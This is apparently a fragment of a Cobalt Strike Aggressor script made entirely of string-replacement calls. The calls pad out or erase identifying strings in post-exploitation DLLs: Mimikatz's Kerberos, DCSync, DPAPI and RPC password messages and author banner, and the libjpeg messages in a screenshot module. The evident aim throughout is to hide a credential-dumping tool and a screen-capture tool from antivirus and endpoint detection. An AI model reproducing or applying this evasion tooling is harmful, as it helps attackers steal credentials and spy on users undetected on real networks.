$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Lifetime :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Target :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Service :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ServiceKey:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Claims :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Extra SIDs:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Groups Id : *", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "User Id :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "SID :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Domain :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "User :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMessage : %", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMessage / Package :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Kerberos package module", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "List tickets in MIT/Heimdall ccache", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Pass-the-ccache [NT6]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Hash password to keys", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Willy Wonka factory", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Purge ticket(s)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Retrieve current TGT", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Ask or get TGS tickets", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "List ticket(s)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Pass-the-ticket [NT 6]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Virtual Iso", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_dpapi_oe_domainkey_add ; No GUID or Key?", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_dpapi_oe_credential_add ; No SID?", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[DC] ", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "will be the DC server", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "will be the domain", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Description :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Full name :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Module :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR resources/mimikatz-full.x64.dll_doLocal ;", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "command of", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "module not found !", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR resources/mimikatz-full.x64.dll_doLocal ;", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", ">>> ", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "module failed : ", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR resources/mimikatz-full.x64.dll_initOrClean ; CoInitializeEx:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", " .#####. resources/mimikatz-full.x64.dll 2.2.0-20220919 (x64) #19041 Mar 27 2024 11:34:27", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", " .## ^ ##. \"A La Vie, A L'Amour\" - (oe.eo)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", " ## / \\ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", " ## \\ / ## > https://blog.gentilkiwi.com/resources/mimikatz-full.x64.dll", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", " '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", " '#####' > https://pingcastle.com / https://mysmartlogon.com ***/", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "resources/mimikatz-full.x64.dll(powershell) #", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "token::elevate", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_string_displaySID ; ConvertSidToStringSid (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_findAttr ; Unable to get an ATTRTYP for", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_MakeAttid ; kull_m_rpc_drsr_MakeAttid_addPrefixToTable", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_free_DRS_MSG_GETCHGREPLY_data ; dwOutVersion not valid", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_free_DRS_MSG_GETCHGREPLY_data ; TODO (maybe?)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_free_DRS_MSG_DCINFOREPLY_data ; dcOutVersion not valid (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_free_DRS_MSG_DCINFOREPLY_data ; TODO (maybe?)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_free_DRS_MSG_CRACKREPLY_data ; nameCrackOutVersion not valid (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt ; No Session Key", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt ; No valid data", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt ; Unable to calculate CRC32", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt ; RtlEncryptData2", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt ; No Session Key", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt ; No valid data", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt ; RtlDecryptData2", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt ; Unable to calculate CRC32", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt ; Checksums don't match (C:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", " - R:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_ProcessGetNCChangesReply ; Unable to MakeAttid for", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_CrackName ; RPC Exception 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_CrackName ; CrackNames:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_CrackName ; CrackNames: bad version", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_CrackName ; CrackNames: no item!", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_CrackName ; CrackNames (name status): 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_getDCBind ; RPC Exception 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_getDCBind ; IDL_DRSBind:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_getDCBind ; No DRS Extensions Output", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_getDCBind ; Incorrect DRS Extensions Output Size (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_getDCBind ; Incorrect DRS Extensions Output (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_getDomainAndUserInfos ; RPC Exception 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_getDomainAndUserInfos ; DomainControllerInfo: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_getDomainAndUserInfos ; DomainControllerInfo: bad version (", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_getDomainAndUserInfos ; DomainControllerInfo: DC", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", " not found", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_RpcSecurityCallback ; I_RpcBindingInqSecurityContext", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_drsr_RpcSecurityCallback ; QueryContextAttributes", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_Generic_Encode ; MesEncodeIncrementalHandleCreate:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_Generic_Encode ; MesIncrementalHandleReset:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_Generic_Encode ; RPC Exception:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_Generic_Free ; MesDecodeIncrementalHandleCreate:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_Generic_Decode ; MesIncrementalHandleReset:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_Generic_Decode ; RPC Exception: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[rpc] Password :", "rpc pwd");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[rpc] Domain :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[rpc] Username :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[rpc] AuthnSvc :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[rpc] Service :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_createBinding ; RpcStringBindingCompose: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_createBinding ; RpcBindingFromStringBinding: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_createBinding ; No Binding!", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_createBinding ; RpcBindingFree: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_createBinding ; RpcBindingSetAuthInfoEx: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_createBinding ; RpcBindingSetOption: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_rpc_createBinding ; Cannot add Service to NetworkAddr if NULL", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Active mode", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Erreur LocalAlloc:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_net_getDC ; DsGetDcName:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_ldap_getRootDomainNamingContext ; ldap_search_s 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_ldap_getRootDomainNamingContext ; ldap_count_entries is NOT 1", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_ldap_getRootDomainNamingContext ; ldap_get_values_len is NOT 1", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_ldap_getLdapAndRootDN ; ldap_init", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_ldap_getLdapAndRootDN ; ldap_bind_s 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_kernel_ioctl_handle ; DeviceIoControl (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "====================", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Base64 of file :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR SkpEncryptionWorker ; Skp Crypto without CNG?", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR SkpEncryptionWorker ; SkpInitSymmetricEncryption: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR SkpEncryptionWorker ; SkpDeriveSymmetricKey: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR SkpEncryptionWorker ; BCryptGenerateSymmetricKey: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR SkpInitSymmetricEncryption ; SkpOpenAesGcmProvider: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR SkpInitSymmetricEncryption ; SkpOpenKdfProvider: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR SkpInitSymmetricEncryption ; SkpImportMasterKeyInKdf: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR SkpOpenKdfProvider ; BCryptOpenAlgorithmProvider: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR SkpOpenKdfProvider ; BCryptGetProperty: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR SkpOpenAesGcmProvider ; BCryptSetProperty: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_NCryptFreeHandle ; NCryptFreeObject(prov): 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_NCryptFreeHandle ; No CNG to support this function", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_NCryptFreeHandle ; NCryptFreeObject(key): 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_NCryptGetProperty ; NCryptGetProperty(%s) - init: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_NCryptGetProperty ; NCryptGetProperty(%s) - data: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_NCryptGetProperty ; NCryptGetProperty(%s) - simple NCRYPT_HANDLE: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_NCryptGetProperty ; NCryptGetProperty(%s) - simple DWORD: 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_DerAndKeyInfoToPfx ; CertAddEncodedCertificateToStore (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_DerAndKeyInfoToPfx ; CertSetCertificateContextProperty(CERT_KEY_PROV_INFO_PROP_ID) (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_DerAndKeyToPfx ; CryptAcquireContext (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_DerAndKeyToPfx ; CryptImportKey (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_exportPfx ; PFXExportCertStoreEx/kull_m_file_writeData (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_crypto_close_hprov_delete_container ; CryptGetProvParam/CryptAcquireContextA (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_asn1_init ; ASN1_CreateModule", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_asn1_init ; ASN1_CreateDecoder:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kull_m_asn1_init ; ASN1_CreateEncoder:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Quantization table 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Not a JPEG file: starts with", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Insufficient memory (case", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Cannot quantize more than", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "color components", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Cannot quantize to fewer than", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Cannot quantize to more than", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid JPEG file structure: two SOF markers", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid JPEG file structure: missing SOS marker", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Unsupported JPEG process: SOF type 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid JPEG file structure: two SOI markers", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid JPEG file structure: SOS before SOF", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Failed to create temporary file", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Read failed on temporary file", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Seek failed on temporary file", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Write failed on temporary file --- out of disk space?", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Application transferred too few scanlines", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Unsupported marker type 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Virtual array controller messed up", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Image too wide for this implementation", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Read from XMS failed", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Write to XMS failed", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Copyright (C) 2010, Thomas G. Lane, Guido Vollbeding", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "10-Jan-2010", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Caution: quantization tables are too coarse for baseline JPEG", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Adobe APP14 marker: version %d, flags 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", ", transform", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Unknown APP0 marker (not JFIF), length", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Unknown APP14 marker (not Adobe), length", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Define Arithmetic Table 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Define Huffman Table 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Define Quantization Table", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "precision", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Define Restart Interval", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Freed EMS handle", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Obtained EMS handle", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "End Of Image", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "JFIF APP0 marker: version", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "density", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Warning: thumbnail image size does not match data length", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "JFIF extension marker: type 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "thumbnail image", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Miscellaneous marker", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Unexpected marker", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Quantizing to", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Selected ", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "colors for quantization", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "At marker", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", ", recovery action", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid SOS parameters for sequential JPEG", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Smoothing not supported with nonstandard sampling ratios", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Start Of Frame 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "width=", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", ", height=", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "components=", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Component ", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "q=", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Start of Image", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Start Of Scan:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "components", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "dc=", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "ac=", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Ss=", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Se=", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Ah=", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Al=", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Closed temporary file", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Opened temporary file", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "JFIF extension marker: JPEG-compressed thumbnail image, length", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "JFIF extension marker: palette thumbnail image, length", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "JFIF extension marker: RGB thumbnail image, length", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Unrecognized component IDs", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", ", assuming YCbCr", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Freed XMS handle", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Obtained XMS handle", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Unknown Adobe color transform code", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Corrupt JPEG data: bad arithmetic code", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Inconsistent progression sequence for component", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "coefficient", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Corrupt JPEG data:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "extraneous bytes before marker 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Corrupt JPEG data: premature end of data segment", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Corrupt JPEG data: bad Huffman code", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Warning: unknown JFIF revision number", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Premature end of JPEG file", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Corrupt JPEG data: found marker 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "instead of RST", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid SOS parameters for sequential JPEG", "");
